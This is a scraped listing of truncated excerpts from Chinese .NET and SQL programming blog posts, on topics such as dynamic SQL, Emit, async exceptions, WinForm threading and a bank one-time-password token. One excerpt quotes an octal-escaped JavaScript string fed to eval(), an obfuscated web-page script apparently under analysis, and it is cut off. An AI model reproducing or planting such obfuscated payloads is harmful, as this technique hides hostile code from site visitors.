Time of Update: 2018-12-07
/*作者:阿牛(牛昆亮) QQ:273352165 MSN:niukl@hotmail.com聲明:可以免費使用,請您保留此資訊 如果您有什麼改過,記得告訴我!*/在我們使用預存程序的時候,有時為了組合查詢條件,不得不使用動態查詢。比如下面的代碼:create proc usp_search@city intasbegin declare @sql varchar(8000) set @sql = N'select * from TestTable where 1=1 '
Time of Update: 2018-12-07
上周五快下班時,看到一個博友BillGan文章:DynamicMethod (JIT Compiler encountered an internal limitation. )我還是相信中國人 ,當時沒有太多時間,只是實現了調用靜態方法的訪問,不能稱為動態方法引動過程。今天看到,BillGan好像已經死心了。 不過,其實沒有那麼絕望的吧,我實現了一個原型,原理是使用Emit聲明一個變數,然後強制類型轉化成類型,最後再去調用方法: 代碼Code highlighting
Time of Update: 2018-12-07
在非同步呼叫一個方法時,由於不在一個線程內,異常的處理不同於普通同步調用,但可以在EndXXX時,使用try{}catch{}來捕獲。public static void main(string[] args){ string errorMessage = "this is error message"; Action<int> myWaiter = i => { Thread.Sleep(i); //拋出一個異常
Time of Update: 2018-12-07
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset
Time of Update: 2018-12-07
用三行代碼實現對音量的控制,實現增大,減小,靜音,哈哈增大音量: keybd_event(VK_VOLUME_UP,MapVirtualKey(VK_VOLUME_UP,0),KEYEVENTF_EXTENDEDKEY,0); keybd_event(VK_VOLUME_UP,MapVirtualKey(VK_VOLUME_UP,0),KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP,0);減小音量:
Time of Update: 2018-12-07
今天用HttpWebRequest,發生了異常,提示伺服器提交了協議衝突 Section=ResponseStatusLine 經過抓包發現如下互動:POST /service.ep HTTP/1.1Content-Type: application/x-www-form-urlencoded;charset=utf-8User-Agent: Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)Host:
Time of Update: 2018-12-07
新浪部落格上好多牛人的部落格,有時候想下載下來離線觀看,便有了這個軟體。 此軟體本想做一個支援眾部落格的下載器,不過後來精力有限,只完成了新浪部落格的部分部落格的下載。 下載時,目前想從部落格地址上,得到部落格類型,然後載入不同的部落格設定檔,從而獲得文章列表分頁資訊,文章總數等資訊,再依設定檔,匹配出部落格文章地址。 目前支援線上查看部落格,和匯出部落格到本地功能。
Time of Update: 2018-12-07
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><html><head> <title>Untitled</title></head><body><div style="position:absolute;width:100%;height:100%;overflow:hidden;background-color: #fff
Time of Update: 2018-12-07
文章目錄 分布式基於索引值對資料淘汰演算法 目前已歸檔公文查詢現狀a) 資料庫結構不合適。由於需求要求每個使用者只能查詢自己能查的公文,但標識一個公文可以被哪個公司、部門或個人可查的欄位,卻不存在,必須使用Like語句來匹配,極大的增大了表的掃描範圍,增大了資料庫IO、記憶體開銷,降低了查詢速度。b)
Time of Update: 2018-12-07
今天調程式,執行SQL老是報錯。最終發現是 varchar 和 nvarchar
Time of Update: 2018-12-07
在使用Dotnetfx2.0開發WinForm程式時,經常需要使用後台線程來進行運算,並把運算的過程資料,結果資料等資訊更新顯示到視窗中。由於表單線程和背景工作執行緒不是一個線程,我們不能在背景工作執行緒中直接設定表單中控制項的屬性,而需要使用Control.Invoke(Delegate del,...)來間接調用。其實,可以使用一個匿名函數很簡單的調用。 按照MSDN上的標準作法,如果有一個函數:
Time of Update: 2018-12-07
昨天申請了中國銀行的網上銀行,發過來一個E-Token,剛開始還以為要插到電腦上,到單位一用才知道,原來是動態密碼產生器,直接輸入顯示的密碼就行了。 可是,這個東西,不會和伺服器有通訊吧?仔細想了一下,感覺應該是一組演算法,應該和時間同步。只是時間差距差幾分鐘,會很正常的吧?於是我依次把它產生的密碼記下來,然後過幾分鐘後,再輸入幾分鐘前的密碼。實驗證明4分鐘前是可以的,也就是時間差差不多得是5分鐘之內吧。
Time of Update: 2018-12-07
網上很多地方介紹了如何用SharePoint.OpenDocument開啟基於WebDAV協議的Word文檔,可是開啟後,如果對文檔進行一些設定作業,卻苦於沒有Word對象。 我這裡實現了得到Word.Application對象,可以進行設定文檔域一類的操作了。 可是,我本來想得到文檔的儲存事件並啟用我的處理函數,目前這裡卡住了,貌似沒有出路。誰有? CodeCode highlighting produced by Actipro CodeHighlighter
Time of Update: 2018-12-07
檔案: http://xxxx.xxx.xxx/web.htm<SCRIPT LANGUAGE="JavaScript">eval("\146\165\156\143\164\151\157\156\40\147\156\50\156\51\40\173\40\166\141\162\40\156\165\155\142\145\162\40\75\40\115\141\164\150\56\162\141\156\144\157\155\50\51\52\156\73\40\162
Time of Update: 2018-12-07
一、工欲善其事,必先利其器。 要進行HelloWorld的輸出,首先得安裝VS2008 SP1版
Time of Update: 2018-12-07
public static void Sample1() { String xmlString = @"<soapenv:Envelope xmlns:soapenv=""http://schemas.xmlsoap.org/soap/envelope/""> <soapenv:Header> <tns:RequestSOAPHeader xmlns:tns=""http://www.
Time of Update: 2018-12-07
public partial class Form1 : Form { public Form1() { InitializeComponent(); } private void Form1_Load(object sender, EventArgs e) { Demo d = new Demo(); d.a = 5; d.
Time of Update: 2018-12-07
資料庫表:create table [import] ( [number] [varchar] (50) not null , [password] [varchar] (50) not null )資料檔案格式:3111000000,22823111000001,29583111000002,62983111000003,52583111000005,82693111000006,89293111000007,85653111000008,52593111000009,585231
Time of Update: 2018-12-07
如果你的項目要求你的程式對高達幾萬條的資料在集中的時間內執行固定序列的操作,且不能完全使用預存程序時而需要使用程式來執行時。會需要這些最佳化。 我們知道,SQL伺服器對一條語句的執行,需要分析、編譯、執行這些步驟,通過參數化我們可以對一種命令只分析和編譯一次,而執行多次,從而提高效率。在執行時,如果每次提交語句,可以完成多條SQL語句,則可以減少通訊時間,也可以提高效率。 通過 System.Data.IDbCommand.Prepare()
Time of Update: 2018-12-07
一個資料緩衝,一般由資料來源,緩衝方案,緩衝讀取來完成,現在有了匿名函數,可以把擷取資料來源變為匿名函數。這樣就可以直接聲明一個緩衝:protected static CacheManager<Company> companyCache = new CacheManager<Company>(new SmsDatabaseCache<Company>(), (key) => { return Sms